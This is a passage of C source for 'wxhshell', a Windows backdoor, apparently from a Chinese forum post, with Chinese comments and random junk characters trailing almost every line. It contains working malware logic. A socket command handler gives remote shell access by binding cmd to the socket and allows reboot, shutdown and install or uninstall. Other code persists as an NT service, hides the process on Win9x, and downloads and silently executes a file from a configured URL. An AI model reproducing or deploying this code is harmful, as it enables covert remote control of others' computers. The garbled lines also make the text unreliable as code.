  [w0/\]o  
  // 帮助 Z2Zq'3*  
  case '?': { 2[B4f7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SR^_cpZoi  
    break; kF{*(r=.o  
  } &(z fa&j|  
  // 安装 aZet0?Qr  
  case 'i': { Aj9Ji"18za  
    if(Install()) x$wd O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [xfaj'j=@  
    else SVa6V}"Iv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FZ|CqD"#  
    break; yoRU_%xA  
    } N7%TYs  
  // 卸载 v! 42 DA)  
  case 'r': { ckjrk  
    if(Uninstall()) ,;<RW]r-P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sBK <zR  
    else (>=7ng^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2/36dGFH  
    break; 0Rz(|jlbS  
    } j'HkBW:L  
  // 显示 wxhshell 所在路径 2$ !D* <  
  case 'p': { wNNB;n` l  
    char svExeFile[MAX_PATH]; )9B:wc"  
    strcpy(svExeFile,"\n\r"); G~wFnl%  
      strcat(svExeFile,ExeFile); 3Wcy)y>2Ap  
        send(wsh,svExeFile,strlen(svExeFile),0); 8ZcU[8r  
    break; {SZ% Xbo  
    } <w>/^|]#  
  // 重启 ?Pwx~[<1""  
  case 'b': { LF?P> 1%-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Sd))vS^g  
    if(Boot(REBOOT)) w?mEuXc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K'1~^)*  
    else { F_ 7H!F  
    closesocket(wsh); 8ga_pNe  
    ExitThread(0); \OC6M` /  
    } pO~c<d}b  
    break; .> Z,uT^A  
    } r7]"?#  
  // 关机 mxFn7.|r~  
  case 'd': { =q(GHg;'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); maSgRf[g  
    if(Boot(SHUTDOWN)) 1%J.WH6eQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Zz uo16  
    else { ;pJ2V2 g8  
    closesocket(wsh); ogeL[7  
    ExitThread(0); G{x[uE2X&f  
    } [9mL $;M W  
    break; @!Hr|k|  
    } gVU1Y6.  
  // 获取shell `nJu?5  
  case 's': { Y\+KoR' ;  
    CmdShell(wsh); [m'CR 4(|  
    closesocket(wsh); 2.Yi( r  
    ExitThread(0); HFo-4"  
    break; +VU4s$w6  
  } c 5`US  
  // 退出 68R1AqU_  
  case 'x': { ~V)?>)T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~S; Z\  
    CloseIt(wsh); % *z-PT22  
    break; mzD^ Y<LTd  
    } uXQ >WI@eF  
  // 离开 "DSPPE&[c  
  case 'q': { %G?K@5?j?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kII7z;<^`  
    closesocket(wsh); RbQ <m!A  
    WSACleanup(); +`bC%\T8?  
    exit(1); X1A<$Am1  
    break; Vf-5&S&9  
        } Omag)U)IPh  
  } {.k)2{  
  } 7;LO2<|1  
h<p3'  
  // 提示信息 v })Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |G=[5e^s[  
} N<JHjq  
  } vz`@x45K  
59B&2861  
  return; tkuc/Z/@  
} Xt,X_o2m|]  
)u@c3?$6  
// shell模块句柄 MonS hIz  
int CmdShell(SOCKET sock) FfMnul  
{ V!|e#}1 /  
STARTUPINFO si; SFjU0*B$  
ZeroMemory(&si,sizeof(si)); =^h~!ovj:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <%bw/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _zC (J  
PROCESS_INFORMATION ProcessInfo; b>cafu  
char cmdline[]="cmd"; /N^~U&7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'pP-rdx  
  return 0; `1p 8C%  
} tfiqr|z  
$V8vrT#:  
// 自身启动模式 -!*p*3|03|  
int StartFromService(void) Q e1oT)  
{ D\]&8w6&  
typedef struct 6E9N(kFYs  
{ 5M?mYNQR/H  
  DWORD ExitStatus; A['uD<4b  
  DWORD PebBaseAddress; y7zkAXhJ  
  DWORD AffinityMask; IG.f=+<0  
  DWORD BasePriority; 6 ,N6jaW  
  ULONG UniqueProcessId; M%=P)cC  
  ULONG InheritedFromUniqueProcessId; p/|(,)'+jx  
}   PROCESS_BASIC_INFORMATION; 2eok@1  
v@T'7?s.  
PROCNTQSIP NtQueryInformationProcess; G%w_CMfH  
rm+v(&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 85>S"%_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; & 5 <**  
rFXSO=P?Z  
  HANDLE             hProcess; {-*\w-~G  
  PROCESS_BASIC_INFORMATION pbi; W\ULUK  
mf*Nr0L;J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R40W'N 1%q  
  if(NULL == hInst ) return 0; F +j O*F2h  
fuSq ={]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /GsrGX8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V;*pL1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3@X7YgILU  
k\(4sY M  
  if (!NtQueryInformationProcess) return 0; =g0*MZ;"  
Oje|bxQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H2\1gNL  
  if(!hProcess) return 0; sX'U|)/pD  
_Y YP4lEL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mrnxI#6  
Pc4R!Tc  
  CloseHandle(hProcess); nGZ \<-  
P06 . 1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (Nt[v;BnO  
if(hProcess==NULL) return 0; D=w9cKa  
9H$g?';  
HMODULE hMod; $y6rvQ 2>S  
char procName[255]; 3bH5C3(u  
unsigned long cbNeeded; 7jezw'\=~  
)l2P}k7`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lV7IHX1P  
4 ?2g&B\  
  CloseHandle(hProcess); n2 na9dX)w  
[a D:A  
if(strstr(procName,"services")) return 1; // 以服务启动 xT+ ;w[s  
Z}f^qc+  
  return 0; // 注册表启动 XIN5a~[z*  
} Dh8(HiXf:  
7ti<  
// 主模块 ;l`X!3  
int StartWxhshell(LPSTR lpCmdLine) lQr6;D}+  
{ -RCv7U`  
  SOCKET wsl; !d|8'^gc  
BOOL val=TRUE; j&llrN  
  int port=0; AFtCqq#[  
  struct sockaddr_in door; El1:?4;  
M 5rwoyn  
  if(wscfg.ws_autoins) Install(); (+$ol'i  
\6c8z/O7   
port=atoi(lpCmdLine); I3ho(Kdi  
gL,"ef+nM  
if(port<=0) port=wscfg.ws_port; p[;8  
U$@83?O{iM  
  WSADATA data; T:@7 S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b#}t:yy  
RR'(9QJ$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E~69^ cd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )ys=+Pz  
  door.sin_family = AF_INET; p9w%kM?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _}z_yu#jY  
  door.sin_port = htons(port); ox JGJ  
.='3bQ(UZ4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `&G}  
closesocket(wsl); johmJLC  
return 1; L+(C5L93}  
} xrX?ZJ  
Dwk$CJb3-  
  if(listen(wsl,2) == INVALID_SOCKET) { /\TlO.B=  
closesocket(wsl); rN'.&;Y5  
return 1; 7zi"caY  
} -Cml0}.O   
  Wxhshell(wsl); V[To,f  
  WSACleanup(); ylT6h_z1[Y  
mj,qQ=n;p  
return 0; kYTOldfY2  
E.U0qK],  
} sMN>wbHwh[  
2Z-,c;21  
// 以NT服务方式启动 p( HyRCH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "sSjVu  
{ S--/<a2  
DWORD   status = 0; zv|M*Wu  
  DWORD   specificError = 0xfffffff; b3P9Yoj-  
GW:\l~ d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8_+vb#M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rt,0j/o.1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^$8Vh =D  
  serviceStatus.dwWin32ExitCode     = 0; `Q+i-y  
  serviceStatus.dwServiceSpecificExitCode = 0; >9(7h&[Y  
  serviceStatus.dwCheckPoint       = 0; &l?N:(r  
  serviceStatus.dwWaitHint       = 0; hq]xmM?&  
a$laRtId7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3a/[."W u  
  if (hServiceStatusHandle==0) return; #efqG=q  
%h3L  
status = GetLastError(); k>$FT `  
  if (status!=NO_ERROR) tu7+LwF7  
{ {rtM%%l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x$*E\/zi<!  
    serviceStatus.dwCheckPoint       = 0; !k%l+I3J[  
    serviceStatus.dwWaitHint       = 0; }ty"fI3&iY  
    serviceStatus.dwWin32ExitCode     = status; Vx}Yl&*D  
    serviceStatus.dwServiceSpecificExitCode = specificError; DXt]b,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o- cj&Cv%  
    return; X9DM ^tt  
  } ?'TA!MR  
XTIu(f|d_;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JgxE|#*7U  
  serviceStatus.dwCheckPoint       = 0; L,yA<yrC  
  serviceStatus.dwWaitHint       = 0; [..,(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l@~1CMyN  
} r94j+$7  
Y1m}@k,+M  
// 处理NT服务事件,比如:启动、停止 >a?OXqYP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D$Kz9GVZq  
{ y*y`t6D  
switch(fdwControl) e~tr^$/(  
{ =I+l=;05Rd  
case SERVICE_CONTROL_STOP: Bm65 W  
  serviceStatus.dwWin32ExitCode = 0; `WraOsoY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >cBGw'S  
  serviceStatus.dwCheckPoint   = 0; cZCGnzy  
  serviceStatus.dwWaitHint     = 0; ( [K2:n\  
  { v; je<DT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y21)~  
  } L7i}Ga!8  
  return; 16a_GwfM  
case SERVICE_CONTROL_PAUSE: E \ K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +3NlkN#  
  break; ./7&_9| <  
case SERVICE_CONTROL_CONTINUE: }<6oFUZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T][-'0!  
  break; bbE bf !E  
case SERVICE_CONTROL_INTERROGATE: KyuA5jQ7  
  break; # q0Ub-  
}; 7}2sIf[I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dq0-Kf,^  
} bd@*vu}?}  
%s~NQ;Y  
// 标准应用程序主函数 N1D6D$s0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8o*\W$K@  
{ I}6DoLbV  
T#MA#H2  
// 获取操作系统版本 g;u<[>'I  
OsIsNt=GetOsVer(); Sb@{f<3E  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j AJ/  
{bAWc.  
  // 从命令行安装 NB|RZf9M  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0A) Vtj$  
I$3"|7[n  
  // 下载执行文件 vjOG?-  
if(wscfg.ws_downexe) { %igFHh?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GInZ53cQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); *F26}q  
} .g6PrhzFbk  
Pg!;o= { M  
if(!OsIsNt) { n"^/UQ|#j  
// 如果时win9x,隐藏进程并且设置为注册表启动 CT$& zEIm  
HideProc(); wGov|[X  
StartWxhshell(lpCmdLine); dv1x 78xG>  
} VJ~X#Q  
else \Owful  
  if(StartFromService()) nG4Uk2>  
  // 以服务方式启动 rX|y/0)F  
  StartServiceCtrlDispatcher(DispatchTable); Q1O_CC}  
else 2uJNc!&  
  // 普通方式启动 iylBK!ou  
  StartWxhshell(lpCmdLine); kT Z?+hx  
@2GhN&=  
return 0; NB!'u) lFD  
}
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只看该作者 1 发表于: 2006-10-10
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